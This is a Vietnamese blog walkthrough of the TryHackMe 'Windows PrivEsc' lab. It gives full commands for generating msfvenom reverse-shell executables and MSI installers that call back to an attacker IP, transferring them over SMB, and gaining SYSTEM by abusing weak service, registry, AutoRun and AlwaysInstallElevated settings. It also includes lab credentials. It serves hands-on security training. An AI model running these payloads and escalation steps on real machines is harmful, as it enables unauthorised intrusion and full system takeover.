Advertisement

Responsive Advertisement

Windows PrivEsc - P1 ~ Tryhackme

 


Truy cập máy chủ window cần khai thác sau khi deploy trên trang chủ tryhackme:  TryHackMe | Windows PrivEsc

xfreerdp /u:user /p:password321 /cert:ignore /v:MACHINE_IP

Task 2: Generate a Reverse Shell Executable

Phần này chúng ta sẽ tạo ra một mã reverse shell 

Trên máy kali chạy lệnh sau:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f exe -o reverse.exe

Sau khi sinh ra tệp tin mã độc thực hiện chạy một SMB server trên kali và từ máy victim sẽ copy tệp tin này về 

Trên máy kali:

sudo python3 ../impacket/examples/smbserver.py kali .

Trên máy victim:

copy \\ip_vpn\kali\reverse.exe C:\PrivEsc\reverse.exe


Sau đó kiểm tra trên máy victim xem tệp tin reverse có chạy không.

Trên kali: sudo nc -nvlp 53

Trên victim: mở cmd và chạy: C:\PrivEsc\reverse.exe

Kết quả:

Task 3: Service Exploits - Insecure Service Permissions

Liên quan đến quyền truy cập ứng dụng. Nếu phân quyền yếu thì kẻ tấn công có thể sử dụng một số tệp tin tin hay thư mục của hệ thống nhằm mục đích xấu

Sử dụng accesschk.exe để kiểm tra quyền của tài khoản "user" với dịch vụ "daclsvc" (daclsvc - DACL service - Kiểm soát truy cập tùy ý):

C:\PrivEsc\accesschk.exe /accepteula -uwcqv user daclsvc

Lưu ý rằng tài khoản "user" có quyền thay đổi cấu hình dịch vụ (SERVICE_CHANGE_CONFIG).

Truy vấn dịch vụ và lưu ý rằng nó chạy với các đặc quyền SYSTEM (SERVICE_START_NAME):

sc qc daclsvc

Sửa đổi cấu hình dịch vụ và đặt lại BINARY_PATH_NAME (binpath) thành tệp thi hành reverse.exe đã tạo cho dich vụ daclsvc:

sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""

Sau đó trên máy kali bật lắng nghe kết nối bằng nc giống task 2 

Trên máy victim tiến hành chạy lệnh net start daclsvc kiểm tra kết quả:


Task 4  Service Exploits - Unquoted Service Path

Khi các dịch vụ được tạo mà có đường dẫn thực thi chứa space và không được đặt trong dấu ngoặc kép (đường dẫn tuyệt đối) thì có thể dẫn dến lỗ hổng Unquoted Service Path

Truy vấn kiểm tra  "unquotessvc" và lưu ý rằng nó chạy với đặc quyền SYSTEM (SERVICE_START_NAME) và BINARY_PATH_NAME không được trích dẫn và chứa khoảng trắng.

sc qc unquotedsvc

Sử dụng accesschk.exe, lưu ý rằng nhóm BUILTIN \ Users được phép ghi vào thư mục C: \ Program Files \ Unquote Path Service \:

C:\PrivEsc\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"

Sao chép tệp thực thi reverse.exe  đã tạo vào thư mục này và đổi tên nó là Common.exe:

copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"

Thực thi lệnh sau đồng thời bật lắng nghe kết nối qua netcat trên kali và leo thang: net start unquotedsvc

Task 5  Service Exploits - Weak Registry Permissions

Phân quyền yếu cho Registry. Truy vấn dịch vụ "regsvc" và lưu ý rằng nó chạy với các đặc quyền của HỆ THỐNG (SERVICE_START_NAME).

sc qc regsvc

Sử dụng accesschk.exe, lưu ý rằng registry entry cho dịch vụ regsvc có thể được ghi bởi nhóm "NT AUTHORITY\INTERACTIVE" (về cơ bản là tất cả người dùng đã đăng nhập):

C:\PrivEsc\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc

Ghi đè registry key ImagePath để trỏ đến tệp thực thi reverse.exe đã tạo task 2:

reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f

Thực thi chương trình bật cổng lắng nghe kết nối trên kali: net start regsvc

Task 6  Service Exploits - Insecure Service Executables

Leo thang với dịch vụ thực thi với bảo mật kém.

Truy vấn dịch vụ "filepermsvc" và lưu ý rằng nó chạy với các đặc quyền của HỆ THỐNG (SERVICE_START_NAME). Sử dụng lệnh kiểm tra:

sc qc filepermsvc

Sử dụng accesschk.exe, lưu ý rằng mọi người đều có quyền ghi tệp nhị phân  (BINARY_PATH_NAME):

C:\PrivEsc\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"

Sao chép tệp thực thi reverse.exe đã tạo và thay thế tệp permservice.exe bằng tệp đó:

copy C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y

Thực hiện chạy lệnh lắng nghe kết nối trên kali và thực thi lệnh sau để leo thang: net start filepermsvc

Task 7  Registry - AutoRuns

Truy vấn registry kiểm tra thực thi Autorun:

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Sử dụng accesschk.exe kiểm tra, lưu ý rằng mọi người có thể ghi tệp thực thi AutoRun:

C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"

Sao chép tệp thực thi reverse.exe đã tạo và ghi đè tệp thực thi AutoRun:

copy C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe" /Y

Bắt đầu một trình lắng nghe trên Kali bằng netcat và sau đó khởi động lại máy ảo Windows. Mở một phiên RDP mới để kích hoạt reverse shell chạy với các đặc quyền của quản trị viên. Không cần phải xác thực để kích hoạt nó, tuy nhiên nếu payload không kích hoạt, hãy đăng nhập với tư cách quản trị viên (admin / password123) để kích hoạt. 

rdesktop MACHINE_IP

Lưu ý:  rằng trong  thực tế phải đợi quản trị viên tự đăng nhập. 

Task 8  Registry - AlwaysInstallElevated

Có thể sử dụng chính sách AlwaysInstallEleised để cài đặt gói Windows Installer với các đặc quyền (hệ thống) nâng cao.Tùy chọn này tương đương với việc cấp toàn quyền quản trị, điều này có thể gây ra rủi ro lớn về bảo mật. Microsoft thực sự không khuyến khích việc sử dụng cài đặt này.

Kiểm tra cài đặt này sử dụng lệnh:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Lưu ý rằng cả hai key trên đều là 1 (0x1).

Trên Kali, tạo một Windows  reverse shell  (reverse.msi) bằng msfvenom. Cập nhật địa chỉ IP LHOST cho phù hợp:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f msi -o reverse.msi

Chuyển tệp reverse.msi vào thư mục C:\PrivEsc trên Windows (sử dụng phương pháp máy chủ SMB ).

Khởi động trình lắng nghe trên Kali và sau đó chạy trình cài đặt để kích hoạt shell chạy với các đặc quyền HỆ THỐNG:

msiexec /quiet /qn /i C:\PrivEsc\reverse.msi


Post a Comment

0 Comments